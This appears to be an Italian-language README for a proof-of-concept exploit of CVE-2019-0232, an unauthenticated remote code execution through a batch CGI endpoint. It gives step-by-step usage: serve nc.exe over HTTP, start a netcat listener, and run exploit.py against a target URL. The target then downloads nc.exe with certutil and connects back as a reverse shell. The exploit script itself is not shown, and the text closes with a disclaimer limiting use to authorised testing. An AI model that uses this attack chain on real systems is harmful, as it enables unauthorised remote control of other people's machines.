
Exploit basato su /jaiguptanick/CVE-2019-0232
PoC per RCE non autenticata tramite endpoint CGI batch. Scarica nc.exe sul target usando certutil e attiva una reverse shell.
1. Servi nc.exe (nella stessa directory in cui si trova nc.exe):
python3 -m http.server 80
2. Avvia il tuo listener:
nc -lvnp 1234
3. Esegui l'exploit:
python3 exploit.py \
--url http://:/cgi/.bat \
--server-ip \
--server-port 80 \
--nc-ip \
--nc-port 1234
| Argomento | Obbligatorio | Predefinito | Descrizione |
|---|
--url | ✅ | — | URL completo del target con endpoint CGI |
--server-ip | ✅ | — | Il tuo IP che serve nc.exe tramite HTTP |
--server-port | ❌ | 80 | Porta per il server HTTP |
--nc-ip | ✅ | — | IP del tuo listener Netcat |
--nc-port | ✅ | — | Porta del tuo listener Netcat |
Solo per test di penetrazione autorizzati e a scopi educativi.